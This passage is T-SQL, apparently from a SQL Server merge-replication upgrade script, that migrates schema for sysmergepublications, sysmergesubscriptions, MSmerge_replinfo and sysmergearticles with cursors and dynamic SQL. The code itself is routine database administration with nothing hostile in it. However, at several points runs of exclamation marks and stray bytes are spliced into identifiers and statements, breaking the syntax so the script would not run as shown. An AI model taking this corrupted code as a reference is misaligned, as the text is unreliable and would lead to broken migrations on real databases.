                                                             select col_name = 'ftp_port', col_type = 'int not null default 21'
                                                             union all
                                                             select col_name = 'ftp_subdirectory', col_type = 'nvarchar(255) null'
                                                             union all
                                                             select col_name = 'ftp_login', col_type = 'sysname null default N''anonymous'''
                                                             union all
                                                             select col_name = 'ftp_password', col_type = 'nvarchar(524) null'
                                                             union all
                                                             select col_name = 'conflict_retention', col_type = 'int null' -- Conflict retention  (Shiloh)
                                                             union all
                                                             select col_name = 'keep_before_values', col_type = 'int null'-- Keep partition changes (SQL7.0 SP2 )
                                                             union all
                                                             select col_name = 'allow_subscription_copy', col_type = 'bit null default 0'-- Attach & Go (Shiloh)
                                                             union all
                                                             select col_name = 'allow_synctoalternate', col_type = 'bit null default 0'-- Sync to any hub (Shiloh)
                                                             union all
                                                             select col_name = 'web_synchronization_url', col_type = 'nvarchar(500) null'-- WebSync URL (Yukon)
                                                             union all
                                                             select col_name = 'retention_period_unit', col_type = 'tinyint default 0 not null'-- 0=day, 1=week, 2=month, 3=year, 4=hour, 5=minute
                                                             union all
                                                             select col_name = 'validate_subscriber_info', col_type = 'nvarchar(500) NULL'-- Dynamic partition rvalue validation (Shiloh)
                                                             union all
                                                             select col_name = 'ad_guidname', col_type = 'sysname NULL'-- Active directory registration for publications (Shiloh)
                                                             union all
                                                             select col_name = 'max_concurrent_merge', col_type = 'int not NULL default 0'-- max_concurrent_merge control the max # of concurrent merge process at publisher side (Shiloh)
                                                             union all
                                                             select col_name = 'max_concurrent_dynamic_snapshots', col_type = 'int not NULL default 0'-- Maximum number of current dynamic snapshot sessions
                                                             union all
                                                             select col_name = 'use_partition_groups', col_type = 'smallint NULL'
                                                             union all
                                                             select col_name = 'dynamic_filters_function_list', col_type = 'nvarchar(500) NULL'-- Semi-colon delimited list of functions used in all dynamic filters used in this publication
                                                             union all
                                                             select col_name = 'replicate_ddl', col_type = 'int not NULL default 0'-- Bitmask on how this publication accepts new objects
                                                             union all
                                                             select col_name = 'partition_id_eval_proc', col_type = 'sysname NULL'-- Partition id evaluation proc for this publication
                                                             union all
                                                             select col_name = 'publication_number', col_type = 'smallint identity NOT NULL' -- publication_number for this publication (just a mapped value to be used locally instead of the 16-byte guid)
                                                             union all
                                                             select col_name = 'allow_subscriber_initiated_snapshot', col_type = 'bit not NULL default 0'-- allow_subscriber_initiated_snapshot column
                                                             union all
                                                             select col_name = 'allow_partition_realignment', col_type = 'bit not NULL default 1' -- allow_partition_realignment column
                                                             union all
                                                             select col_name = 'generation_leveling_threshold', col_type = 'int null default 1000' -- generation leveling threshold
                                                             union all
                                                             select col_name = 'automatic_reinitialization_policy', col_type = 'bit not null default 0'-- whether or not to upload first on reinits that are triggered by certain publication/article property changes
                                                             ) as t1                                                             
               left outer join
               sys.columns as t2
               on (t1.col_name = t2.name and t2.object_id = object_id('dbo.sysmergepublications', 'U'))
               where t2.nam!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<( Uve is null) --This query gives all the columns in t1 that are not in syscolums
        for read only
        open colcurs
        fetch colcurs into @column_name, @column_type
        if (@@fetch_status <> -1)
        begin
            select @alter_cmd = 'alter table dbo.sysmergepublications add ' + @column_name + ' ' + @column_type
            fetch colcurs into @column_name, @column_type
            while(@@fetch_status <> -1)
            begin
                select @alter_cmd = @alter_cmd + ', ' + @column_name + ' ' + @column_type
                fetch colcurs into @column_name, @column_type
            end
            exec (@alter_cmd)
            if @@error <> 0 goto error
        end
        close colcurs
        deallocate colcurs

        -- allow web sync (Yukon)
        if not exists (select * from sys.columns where object_id = object_id('dbo.sysmergepublications') and name = 'allow_web_synchronization')
        begin
            alter table dbo.sysmergepublications add allow_web_synchronization bit null default 0
            if @@error<>0 goto error

            -- we want to set allow_web_synchronization for ssce subscribers. So if we find a 
            -- character mode snapshot type we will set this property.
            exec('update dbo.sysmergepublications set allow_web_synchronization = 1 where sync_mode = 1')
            if @@error<>0 goto error
        end
        
        --insure that index nc2sysmergepublications exists on status
        if exists( select * from sys.indexes where name = 'nc2sysmergepublications' AND 
          			object_id = object_id('dbo.sysmergepublications') )
        begin
          	drop index nc2sysmergepublications on dbo.sysmergepublications
        end
     	 if exists(select * from syscolumns where id = object_id('sysmergepublications') and name = 'status')
	 begin
	 	create index nc2sysmergepublications on dbo.sysmergepublications(status)
	 end
 
				   
	 --insure that default on generation_leveling_threshold is 1000 instead of 0 (or anything else)
	declare @defaultname sysname
	select top 1 @defaultname = sysdc.name from sys.default_constraints sysdc join sys.columns sysc 
              	on sysdc.parent_object_id = sysc.object_id
                        and sysdc.parent_column_id = sysc.column_id
      		where sysdc.parent_object_id = object_id('sysmergepublications')
		       and sysc.name = 'generation_leveling_threshold' 
	 if @defaultname is not null
	 begin
		select @alter_cmd = 'alter table dbo.sysmergepublications drop constraint ' + QUOTENAME(@defaultname)
		exec (@alter_cmd) -- drop old default		
	 end
	 if exists(select * from syscolumns where id = object_id('sysmergepublications') and name = 'generation_leveling_threshold')
	 begin
	 	select @alter_cmd = 'alter table dbo.sysmergepublications add default 1000 for generation_leveling_threshold'
		 exec (@alter_cmd) -- add new default
	 end
	
        -- conflict logging on both publisher and subscriber
        if not exists (select * from sys.columns where object_id = object_id('dbo.sysmergepublications') and name = 'decentralized_conflicts')
        begin
            alter table dbo.sysmergepublications add decentralized_conflicts int null
            if @@error<>0 goto error

            -- before upgrade, centralized_conflicts==1 means centralized logging,
            -- centralized_conflicts==0 means decentralized logging.
            -- We now map this to the two explicit columns.
            exec ('update dbo.sysmergepublications set decentralized_conflicts=1 where centralized_conflicts=0')
            if @@error<>0 goto error
            exec ('update dbo.sysmergepublications set decentralized_conflicts=0 where centralized_conflicts=1')
            if @@error<>0 goto error
        end
        
        /*
         * sysmergepublications ftp_password
         * no need to upgrade passwords since this column is new in 8.0.
        */
        if not exists (select * from sys.columns where object_id = object_id('dbo.sysmergepublications') and name = 'ftp_password' and max_length = '1048')
        begin
            declare @cmptlevel tinyint
            select @cmptlevel = cmptlevel from master.dbo.sysdatabases where name = @dbname collate database_default
            if @cmptlevel < 70
            begin
                raiserror (15048, -1, -1, 70, 70, 70, 80)
            end
            else
            begin
                exec( 'alter table dbo.sysmergepublications alter column ftp_password nvarchar(524)' )
                if @@error <> 0
                    goto error
            end
        end

        -- in Yukon snapshot_jobid column has been moved from MSmerge_replinfo to sysmergepublications
        if not exists (select * from sys.columns where object_id = object_id('dbo.sysmergepublications') and name = 'snapshot_jobid')
        begin
            -- we cannot do alter table and update in the same batch so make this a dynamic sql
            alter table dbo.sysmergepublications add snapshot_jobid  binary(16) NULL
            if @@error <> 0 goto error
            -- get the values of snapshot_jobid from MSmerge_replinfo
            if exists (select * from sys.columns where object_id = object_id('MSmerge_replinfo') and name = 'snapshot_jobid')
            begin
                -- need to exec update in diff process space to avoid syntax error on deferred name resolution at time of proc exec
                exec ('update dbo.sysmergepublications
                set snapshot_jobid = r.snapshot_jobid 
                from dbo.sysmergepublications p, dbo.MSmerge_replinfo r
                where r.repid = p.pubid')
                if @@error <> 0
                    goto error
            end
        end
        
        -- in Yukon distributor column has been moved from sysmergesubscriptions to sysmergepublications
        -- the following is only useful in shiloh to yukon upgrade. In 70 the column distributor did not even exist
        if not exists (select * from sys.columns where object_id = object_id('dbo.sysmergepublications') and name = 'distributor')
        begin
            -- we will move the value from sysmergesubscriptions to sysmergepublications
            alter table dbo.sysmergepublications add distributor sysname NULL
            if @@error<>0 goto error
            -- get the values of distributor from MSmerge_replinfo
            if exists (select * from sys.columns where object_id = object_id('dbo.sysmergesubscriptions') and name = 'distributor')
             and exists (select * from sys.columns where object_id = object_id('dbo.sysmergesubscriptions') and name = 'publication')
            begin
                -- need to exec update in diff process space to avoid syntax error on deferred name resolution at time of proc exec
                -- add the colums for republisher's publications into sysmergepublications
                exec ('insert into dbo.sysmergepublications (pubid, name, publisher_db, publisher, distributor)
                select distinct s.pubid, s.publication, s.db_name, s.subscriber_server, s.distributor
                    from dbo.sysmergesubscriptions s, dbo.sysmergepublications p
                    where s.subid = s.pubid and s.pubid not in (select pubid from dbo.sysmergepublications)')
                 if @@error <> 0
                    goto error
                exec ('update dbo.sysmergepublications 
                        set distributor = s.distributor
                        from dbo.sysmergesubscriptions s, dbo.sysmergepublications p
                        where s.subid = s.pubid and p.pubid = s.pubid')
                if @@error <> 0
                    goto error
            end
            else
            begin
                -- this is probably a 70 upgrade
                exec ('update dbo.sysmergepublications 
                        set distributor = publisher'!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<("F>@xv)
                if @@error <> 0
                    goto error
            end
        end

        -- dynamic_snapshot_queue_timeout column this was in Yukon beta2 but has been removed since
        if exists (select * from sys.columns where object_id = object_id('dbo.sysmergepublications') and name = 'dynamic_snapshot_queue_timeout')
        begin
            -- now drop the default constraint
            select @constraintname = quotename(name) from sys.default_constraints where parent_object_id = object_id('dbo.sysmergepublications') and parent_column_id =
            	(select column_id from sys.columns where object_id = object_id('dbo.sysmergepublications') and name = 'dynamic_snapshot_queue_timeout')

            exec ('alter table dbo.sysmergepublications drop constraint ' +  @constraintname)   
            if @@error<>0 goto error
            
            alter table dbo.sysmergepublications drop column dynamic_snapshot_queue_timeout    
            if @@error<>0 goto error
        end

        -- dynamic_snapshot_ready_timeout column this was in Yukon beta2 but has been removed since
        if exists (select * from sys.columns where object_id = object_id('dbo.sysmergepublications') and name = 'dynamic_snapshot_ready_timeout')
        begin
            -- now drop the default constraint
            select @constraintname = quotename(name) from sys.default_constraints where parent_object_id = object_id('dbo.sysmergepublications') and parent_column_id =
            	(select column_id from sys.columns where object_id = object_id('dbo.sysmergepublications') and name = 'dynamic_snapshot_ready_timeout')

            exec ('alter table dbo.sysmergepublications drop constraint ' +  @constraintname)   
            if @@error<>0 goto error

            alter table dbo.sysmergepublications drop column dynamic_snapshot_ready_timeout    
            if @@error<>0 goto error
        end
    end -- end sysmergepublications modifications

    -- dbo.MSmerge_contents
    if object_id('dbo.MSmerge_contents') is not null and @remove_repl=0
    begin
    	-- insure that index nc4Msmerge_contents exists on rowguid
	if exists( select * from sys.indexes where name = 'nc4MSmerge_contents' and 
		object_id = object_id('MSmerge_contents') )
	begin
		drop index nc4MSmerge_contents on dbo.MSmerge_contents
	end
	if exists(select * from syscolumns where id = object_id('MSmerge_contents') and name = 'rowguid')
	begin
		create index nc4MSmerge_contents on dbo.MSmerge_contents(rowguid)
	end
    end

    -- dbo.MSmerge_genhistory
    if object_id('dbo.MSmerge_genhistory') is not null and @remove_repl=0
    begin
	-- insure that index nc2Msmerge_genhistory exists on rowguid
	if exists( select * from sys.indexes where name = 'nc2MSmerge_genhistory' and 
		object_id = object_id('MSmerge_genhistory') )
	begin
		drop index nc2MSmerge_genhistory on dbo.MSmerge_genhistory
	end
	if exists(select * from syscolumns where id = object_id('MSmerge_genhistory') and name = 'genstatus')
		and exists(select * from syscolumns where id = object_id('MSmerge_genhistory') and name = 'art_nick')
		and exists(select * from syscolumns where id = object_id('MSmerge_genhistory') and name = 'changecount')
	begin
		create  index nc2MSmerge_genhistory on MSmerge_genhistory(genstatus, art_nick,changecount) 
	end
    end

    /* 
     * MSmerge_history
     * Add new unique idx for correctness iff there are no uniqueness violations. Drop old
     * index in favor of new column order in this index. Add new non-clustered index as needed.
    */
    if exists( select * from sys.indexes where name = 'nc1MSmerge_history' AND 
                object_id = OBJECT_ID('MSmerge_history'))
    begin
    	drop index dbo.MSmerge_history.nc1MSmerge_history
    end
    if exists(select * from sys.columns where object_id = object_id('MSmerge_history') and name = 'session_id')
    	and exists (select * from sys.columns where object_id = object_id('MSmerge_history') and name = 'timestamp')
    begin
    	create nonclustered index nc1MSmerge_history on MSmerge_history(session_id, timestamp)
    end

    -- dbo.MSmerge_replinfo
    if @remove_repl=0 and (object_id('MSmerge_replinfo') is not NULL and
    exists (select * from sys.columns where object_id = object_id('MSmerge_replinfo') and name = 'replnickname'))
    begin
        -- recgen is int in Shiloh and before, bigint in Yukon and after
        if 56 = (select system_type_id from sys.columns where 
                    object_id = object_id('MSmerge_replinfo') and name = 'recgen')
        begin
            alter table dbo.MSmerge_replinfo alter column recgen bigint null
            if @@error<>0 goto error
        end

        -- sentgen is int in Shiloh and before, bigint in Yukon and after
        if 56 = (select system_type_id from sys.columns where 
                    object_id = object_id('MSmerge_replinfo') and name = 'sentgen')
        begin
            alter table dbo.MSmerge_replinfo alter column sentgen bigint null
            if @@error<>0 goto error
        end

        -- replnickname is int in Shiloh and before, binary(6) in Yukon and after
        if 56 = (select system_type_id from sys.columns where 
                    object_id = object_id('MSmerge_replinfo') and name = 'replnickname')
        begin
            begin tran
            save tran tran_replinfonick80to90
                alter table dbo.MSmerge_replinfo alter column replnickname binary(6) not null
                if @@error<>0 goto err_replinfonick80to90
                exec ('update dbo.MSmerge_replinfo set replnickname= substring(replnickname, 6, 1) + substring(replnickname, 5, 1) + substring(replnickname, 4, 1) + substring(replnickname, 3, 1) + substring(replnickname, 2, 1) + substring(replnickname, 1, 1)')
                if @@error<>0 goto err_replinfonick80to90
            commit tran
            goto after_replinfonick80to90

            err_replinfonick80to90:
            rollback tran tran_replinfonick80to90
            commit tran
            goto error
        end

        after_replinfonick80to90:

        -- this column and its values been added to sysmergepublications in the sysmergepublications if block
        if exists (select * from sys.columns where object_id = object_id('MSmerge_replinfo') and name = 'snapshot_jobid')
        begin
            alter table dbo.MSmerge_replinfo drop column snapshot_jobid
            if @@error <> 0 goto error
        end
        
        -- hostname column added for Yukon
        if not exists (select * from sys.columns where object_id = object_id('MSmerge_replinfo') and name = 'hostname')
        begin
            alter table dbo.MSmerge_replinfo add hostname sysname NULL
            if @@error <> 0 goto error
        end
    end -- dbo.MSmerge_replinfo
    
    /*
    * dbo.sysmergesubscriptions
    */
    -- the following modifications to sysmergesubscriptions have to be done even if replication is being removed
    if (object_id('sysmergesubscriptions') is not NULL)
    begin
        -- subscriber_server (Shiloh) 
        if not exists (select * from sys.columns where object_id = object_id('dbo.sysmergesubscriptions') and
                            name = 'subscriber_server')
        begin
            alter table dbo.sysmergesubscriptions add subscriber_server sysname null
            if @@error <> 0 goto error
            
            -- need to exec update in diff process space to avoid syntax error on deferred name resolution at time of proc exec
            exec( N'update dbo.sysmergesubscriptions set subscriber_server = 
                        (select srvname from master.dbo.sysservers where srvid = dbo.sysmergesubscriptions.srvid)' )
            if @@error <> 0 goto error
        end

        -- last_makegeneration_datetime
        if not exists (select * from sys.columns where object_id = object_id('dbo.sys!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<($vmergesubscriptions') and
                            name = 'last_makegeneration_datetime')
        begin
            alter table dbo.sysmergesubscriptions add last_makegeneration_datetime datetime null
            if @@error <> 0 goto error            
        end



        if exists (select * from sysconstraints where id = object_id('dbo.sysmergesubscriptions') and 
                            object_name(constid) = 'unique_pubsrvdb')
        begin
            alter table dbo.sysmergesubscriptions drop constraint unique_pubsrvdb
            if @@error <> 0 goto error
        end
        
        IF EXISTS ( SELECT * FROM sysindexes WHERE name = 'nc2sysmergesubscriptions' AND
                        id = object_id('dbo.sysmergesubscriptions') )
        begin
            drop index nc2sysmergesubscriptions on dbo.sysmergesubscriptions 
            if @@error <> 0 goto error
        end
        
        if exists (select * from sys.columns where object_id = object_id('dbo.sysmergesubscriptions') and
                            name = 'srvid')
        begin
            
            alter table dbo.sysmergesubscriptions drop column srvid
            if @@error <> 0 goto error
        end

        if not exists (select * from sysconstraints where id = object_id('dbo.sysmergesubscriptions') and 
                            object_name(constid) = 'unique_pubsrvdb')
        begin
            exec(N'alter table dbo.sysmergesubscriptions 
                    add constraint unique_pubsrvdb 
                    unique nonclustered (pubid, subscriber_server, db_name)')
            if @@error <> 0 goto error
        end
    end
    
    if @remove_repl=0 and (object_id('sysmergesubscriptions') is not NULL)
    begin
        -- rename partnerid to replicastate... since we will be copying the table
        -- we will do this first so that the remaining changes will not need to be copied
        if exists (select * from sys.columns where object_id = object_id('dbo.sysmergesubscriptions') and name = 'partnerid')
        begin
            -- because sp_rename does not allow the renaming of tables marked as system objects
            -- we have to take this round about way of doing things. This table should always be
            -- relatively small so perf here is not a really big concern and should not be affected
            --  exec sys.sp_rename @objname = 'sysmergesubscriptions.partnerid', @newname = 'replicastate', @objtype = 'COLUMN'
            --  if @@error <> 0 goto error
            if object_id(N'sysmergesubscriptions_tmp_name') is not null
            begin
                drop table sysmergesubscriptions_tmp_name
                if @@error <> 0 goto error
            end

            select * 
                into sysmergesubscriptions_tmp_name 
                from dbo.sysmergesubscriptions
            if @@error <> 0 goto error

            exec sys.sp_rename @objname = 'sysmergesubscriptions_tmp_name.partnerid', @newname = 'replicastate', @objtype = 'COLUMN'
            if @@error <> 0
            begin
                drop table sysmergesubscriptions_tmp_name
                goto error
            end

            drop table sysmergesubscriptions
            if @@error <> 0 goto error

            exec sys.sp_rename @objname = 'sysmergesubscriptions_tmp_name', @newname = 'sysmergesubscriptions'
            if @@error <> 0 
            begin
                drop table sysmergesubscriptions_tmp_name
                goto error
            end
  		

            -- recreate indexes
            create unique clustered index uc1sysmergesubscriptions on dbo.sysmergesubscriptions (subid) 
            if @@error <> 0 goto error

            create index nc2sysmergesubscriptions on dbo.sysmergesubscriptions (subscriber_server, db_name)
            if @@error <> 0 goto error

            -- mark as system object
            exec sp_MS_marksystemobject 'sysmergesubscriptions'
            if @@error <> 0 goto error
        end

        declare colcurs cursor LOCAL FAST_FORWARD 
        for (select col_name, col_type from (select col_name = 'use_interactive_resolver', col_type = 'bit NOT NULL default 0'-- Interactive resolver support (Shiloh)
                                                             union all
                                                             select col_name = 'validation_level', col_type = 'int NOT NULL default 0'-- merge validation level (Shiloh)
                                                             union all
                                                             select col_name = 'resync_gen', col_type = 'bigint not NULL default -1'
                                                             union all
                                                             select col_name = 'attempted_validate', col_type = 'datetime NULL' -- date of the last attempted validate (Shiloh)
                                                             union all
                                                             select col_name = 'last_sync_status', col_type = 'int NULL'-- status of the last sync (Shiloh)
                                                             union all
                                                             select col_name = 'last_sync_date', col_type = 'datetime NULL'-- date of the last sync (Shiloh)
                                                             union all
                                                             select col_name = 'last_sync_summary', col_type = 'sysname NULL'-- summary message of the last sync (Shiloh)
                                                             union all
                                                             select col_name = 'metadatacleanuptime', col_type = 'datetime not NULL default getdate()'-- metadata cleanup time
                                                             union all
                                                             select col_name = 'cleanedup_unsent_changes', col_type = 'bit NOT NULL default 0'-- cleanedup_unsent_changes(Yukon)
                                                             union all
                                                             select col_name = 'replica_version', col_type = 'int NOT NULL default 60'-- replica_version (Yukon)
                                                             union all
                                                             select col_name = 'supportability_mode', col_type = 'int NOT NULL default 0'-- supportability_mode (Yukon)
                                                             union all
                                                             select col_name = 'application_name', col_type = 'sysname NULL'-- application_name and subscriber_number added in yukon
                                                             union all 
                                                             select col_name = 'subscriber_number', col_type = 'int identity not NULL'
                                                             ) as t1                                                             
               left outer join
               sys.columns as t2
               on (t1.col_name = t2.name and t2.object_id = object_id('dbo.sysmergesubscriptions', 'U'))
               where t2.name is null) --This query gives all the columns in t1 that are not in syscolums
        for read only
        open colcurs
        fetch colcurs into @column_name, @column_type
        if (@@fetch_status <> -1)
        begin        
            select @alter_cmd = 'alter table dbo.sysmergesubscriptions add ' + @column_name + ' ' + @column_type
            fetch colcurs into @column_name, @column_type
            while(@@fetch_status <> -1)
            begin
                select @alter_cmd = @alter_cmd + ', ' + @column_name + ' ' + @column_type
            !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(*rv    fetch colcurs into @column_name, @column_type
            end
            exec (@alter_cmd)
            if @@error <> 0 
            begin
            		goto error
            end
            
        end
        close colcurs
        deallocate colcurs

		-- drop old views 
		declare @old_view_name sysname
		declare drop_old_views_cursor cursor LOCAL FAST_FORWARD FOR
		select name from sys.objects where (name like 'ctsv_%' or name like 'tsvw_%') AND type ='V' and  ObjectProperty(object_id, 'IsMSShipped')=1
		for read only
        open drop_old_views_cursor
        fetch drop_old_views_cursor into @old_view_name
		while(@@fetch_status <> -1)
		begin
			declare @drop_view_cmd nvarchar(max)
			select @drop_view_cmd = N'drop view ' + QUOTENAME(@old_view_name) 
			exec(@drop_view_cmd)
			if @@error <> 0 goto error
			fetch drop_old_views_cursor into @old_view_name
		end	
		close drop_old_views_cursor
        deallocate drop_old_views_cursor


        IF NOT EXISTS ( SELECT * FROM sysindexes WHERE name = 'nc2sysmergesubscriptions' AND
            id = object_id('dbo.sysmergesubscriptions') )
        begin
            create index nc2sysmergesubscriptions on dbo.sysmergesubscriptions (subscriber_server, db_name)
            if @@error <> 0 goto error
        end

        -- Remove alternate_pubid column from sysmergesubscriptions (Shiloh)
        -- This column is dropped in 8.0 Beta 2
        if exists (select * from sys.columns where object_id = object_id('dbo.sysmergesubscriptions') and
                            name = 'alternate_pubid')
        begin
            alter table dbo.sysmergesubscriptions drop column alternate_pubid
            if @@error <> 0 goto error
        end

        -- this column and its values been added to sysmergepublications in the sysmergepublications if block (yukon)
        if exists (select * from sys.columns where object_id = object_id('dbo.sysmergesubscriptions') and name = 'distributor')
        begin
            alter table sysmergesubscriptions drop column distributor
            if @@error <> 0 goto error
        end

        -- this column and its values been added to sysmergepublications in the sysmergepublications if block (yukon)
        if exists (select * from sys.columns where object_id = object_id('dbo.sysmergesubscriptions') and name = 'publication')
        begin
            alter table sysmergesubscriptions drop column publication
            if @@error <> 0 goto error
        end
    end 



    -- move of columns from sysmergesubscriptions to MSmerge_replinfo and vice versa for the sake of 
    -- better consistency and subscriber tracking.
    if @remove_repl=0 and object_id('sysmergesubscriptions') is not NULL and
         (object_id('MSmerge_replinfo') is not NULL and
         exists (select * from sys.columns where object_id = object_id('MSmerge_replinfo') and name = 'replnickname'))
    begin
        select * 
            into #sysmergesubscriptions
            from sysmergesubscriptions
        if @@error <> 0 goto error
        
        select * 
            into #MSmerge_replinfo
            from MSmerge_replinfo
        if @@error <> 0 goto error
        begin tran
        save tran tran_upgrademergesubtables
            drop table dbo.sysmergesubscriptions
            if @@error<>0
                goto err_upgrademergesubtables

            drop table dbo.MSmerge_replinfo
            if @@error<>0
                goto err_upgrademergesubtables

            -- this creates the sysmergesubscription and MSmerge_replinfo tables with new schema
            exec @retcode = sys.sp_MSmerge_create_sub_table
            if @retcode<>0 or @@error<>0
                goto err_upgrademergesubtables
            -- insert the values for the new set of columns
            exec('insert into dbo.sysmergesubscriptions
                (subscriber_server, db_name, pubid, datasource_type, subid, replnickname,
                 replicastate, status, subscriber_type, subscription_type, sync_type,
                 description, priority, recgen, recguid, sentgen, sentguid,
                 schemaversion, schemaguid, last_validated, attempted_validate,
                 last_sync_date, last_sync_status, last_sync_summary, 
                 metadatacleanuptime, cleanedup_unsent_changes)
            select sub.subscriber_server, sub.db_name, sub.pubid, sub.datasource_type, sub.subid, rep.replnickname,
                   sub.replicastate, sub.status, sub.subscriber_type, sub.subscription_type, sub.sync_type,
                   sub.description, sub.priority, rep.recgen, rep.recguid, rep.sentgen, rep.sentguid,
                   rep.schemaversion, rep.schemaguid, sub.last_validated, sub.attempted_validate,
                   sub.last_sync_date, sub.last_sync_status, sub.last_sync_summary,
                   sub.metadatacleanuptime, sub.cleanedup_unsent_changes
            from #sysmergesubscriptions sub, #MSmerge_replinfo rep
            where sub.subid = rep.repid')
            if @retcode<>0 or @@error<>0
                goto err_upgrademergesubtables
            exec('insert into dbo.MSmerge_replinfo
                (repid, use_interactive_resolver, validation_level, resync_gen, 
                  login_name, merge_jobid)
            select rep.repid, sub.use_interactive_resolver, sub.validation_level, sub.resync_gen, 
                  sub.login_name, rep.merge_jobid
            from #sysmergesubscriptions sub, #MSmerge_replinfo rep
            where sub.subid = rep.repid')
            if @retcode<>0 or @@error<>0
                goto err_upgrademergesubtables		

        commit tran
        goto after_upgrademergesubtables

        err_upgrademergesubtables:
        rollback tran tran_upgrademergesubtables
        commit tran
        goto error
        
        after_upgrademergesubtables: 
        -- if we got here everything was successful.
        drop table #sysmergesubscriptions
        drop table #MSmerge_replinfo
    end

    if @remove_repl=0 and object_id('dbo.sysmergesubscriptions') is not NULL
    begin
	 --Dropping columns use_interactive_resolver, validation_level, resync_gen
	 if exists (select * from sys.columns where name = N'use_interactive_resolver' and object_id = object_id('dbo.sysmergesubscriptions'))
	 begin 
	 	-- drop constraint on this if it exists
	 	select @defaultname = null --temp stores constraint name to be removed
		select top 1 @defaultname = sysdc.name from sys.default_constraints sysdc join sys.columns sysc on
				(sysdc.parent_object_id = sysc.object_id and 
					sysdc.parent_column_id = sysc.column_id)		
			where sysc.object_id = object_id('dbo.sysmergesubscriptions') and
				sysc.name = 'use_interactive_resolver'
	 	if @defaultname is not null
	 	begin
	 		select @alter_cmd = 'alter table dbo.sysmergesubscriptions drop constraint ' + QUOTENAME(@defaultname)
	 		exec (@alter_cmd)
	 	end
	 	-- drop column for Yukon
	 	select @alter_cmd = 'alter table dbo.sysmergesubscriptions drop column use_interactive_resolver'
	 	exec (@alter_cmd)
	 end
	 if exists (select * from sys.columns where name = N'validation_level' and object_id = object_id('dbo.sysmergesubscriptions'))	
	 begin
	 	-- drop constraint on this if it exists
	 	select @defaultname = null -- temp stores constraint name to be removed
		select top 1 @defaultname = sysdc.name from sys.default_constraints sysdc join sys.columns sysc on
				(sysdc.parent_object_id = sysc.object_id and 
					sysdc.parent_column_id = sysc.column_id)		
			where sysc.object_id = object_id('dbo.sysmergesubscriptions') and
					sysc.name = 'validation_level'
	 	if @defaultname is not null
	 	begin
	 		select @alter_cmd = 'alter table dbo.sysmergesubscriptions drop constraint ' + QUOTENAME(@defaultname)
	 		exec (@alter_cmd)
	 	end 
	 	-- drop column for Yukon
	 	select @alter_cmd = 'alter table dbo.sysmergesubscriptions drop!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(.̬v column validation_level'
	 	exec (@alter_cmd)
	 end
	 if exists (select * from sys.columns where name = N'resync_gen' and object_id = object_id('dbo.sysmergesubscriptions'))
	 begin	
	 	-- constraint (default) must be deleted before we can delete resync_gen
		select @defaultname = null --temp stores constraint name to be removed
	 	select top 1 @defaultname = sysdc.name from sys.default_constraints sysdc join sys.columns sysc on
				(sysdc.parent_object_id = sysc.object_id and 
					sysdc.parent_column_id = sysc.column_id)		
			where sysc.object_id = object_id('dbo.sysmergesubscriptions') and
					sysc.name = 'resync_gen'
	 	if @defaultname is not null
	 	begin
	 		select @alter_cmd = 'alter table dbo.sysmergesubscriptions drop constraint ' + QUOTENAME(@defaultname)
	 		exec (@alter_cmd)
	 	end
	 	-- drop column for Yukon
	 	select @alter_cmd = 'alter table dbo.sysmergesubscriptions drop column resync_gen'
	 	exec (@alter_cmd)
	 end
	 	
	 --insure index nc3sysmergesubscriptions exists on replnickname
	 if exists( select * from sys.indexes where name = 'nc3sysmergesubscriptions' and object_id = object_id('dbo.sysmergesubscriptions') )
	 begin
	 	drop index dbo.sysmergesubscriptions.nc3sysmergesubscriptions
	 end
	 if exists(select * from syscolumns where id = object_id('dbo.sysmergesubscriptions') and name = 'replnickname')
	 begin  -- if column replnickname exists create the index on it
	 	create index nc3sysmergesubscriptions on dbo.sysmergesubscriptions(replnickname)
	 end
    end


    /*
     * dbo.sysmergearticles
    */
    -- the following have to be done for sp_MSremovedbreplication to work correctly
    -- even we are going to remove replication
    if object_id('sysmergearticles') is not NULL
    begin
        declare colcurs cursor LOCAL FAST_FORWARD 
        for (select col_name, col_type from (select col_name = 'lightweight', col_type = 'bit not null default 0'
                                                             union all
                                                             select col_name = 'before_upd_view_objid', col_type = 'int NULL'
                                                             union all                                                             
                                                             select col_name = 'metadata_select_proc', col_type = 'sysname NULL'
                                                             union all                                                             
                                                             select col_name = 'delete_proc', col_type = 'sysname NULL'
                                                             union all                                                             
                                                             select col_name = 'before_image_objid', col_type = 'int NULL'-- Keep partition changes (SQL7.0 SP2)
                                                             union all                                                             
                                                             select col_name = 'before_view_objid', col_type = 'int NULL'
                                                             union all                                                             
                                                             select col_name = 'preserve_rowguidcol', col_type = 'bit not null default 1'
                                                             ) as t1                                                             
               left outer join
               sys.columns as t2
               on (t1.col_name = t2.name and t2.object_id = object_id('dbo.sysmergearticles', 'U'))
               where t2.name is null) --This query gives all the columns in t1 that are not in syscolums
        for read only
        open colcurs
        fetch colcurs into @column_name, @column_type
        if (@@fetch_status <> -1)
        begin
            select @alter_cmd = 'alter table dbo.sysmergearticles add ' + @column_name + ' ' + @column_type
            fetch colcurs into @column_name, @column_type
            while(@@fetch_status <> -1)
            begin
                select @alter_cmd = @alter_cmd + ', ' + @column_name + ' ' + @column_type
                fetch colcurs into @column_name, @column_type
            end
            exec (@alter_cmd)
            if @@error <> 0 goto error
        end
        close colcurs
        deallocate colcurs
        if exists (select * from sys.columns where object_id = object_id('dbo.sysmergearticles') and name = N'delete_tracking' and is_nullable = 0)
        	alter table dbo.sysmergearticles alter column delete_tracking bit null
    end
    
    if @remove_repl=0 and object_id('sysmergearticles') is not NULL
    begin
        -- Set all invalid dbo.sysmergearticles.sync_objid to the corresponding 
        -- objid, this will allow regeneration of article procs to succeed
        update dbo.sysmergearticles 
           set sync_objid = objid 
         where object_name(sync_objid) is null
        if @@error <> 0 goto error

        -- Make sure that article type in dbo.sysmergearticles is not null 
        -- for upgraded republisher
        update dbo.sysmergearticles
        set type = 0x0a
        where type is null
        if @@error <> 0 goto error

        -- Turn on the trigger schema option, FK schema option, check 
        -- constraint schema option, and default schema option    by default 
        -- so merge articles will retain the old scripting behaviour (Shiloh)
        -- Also reset the 0x8000 option (PKUK as constraints) as it is 
        -- deprecated starting from yukon. 
        update dbo.sysmergearticles 
            set schema_option = (convert(bigint, schema_option) | convert(bigint, 0x00000F00)) & ~convert(bigint, 0x00008000)
            from sys.objects so
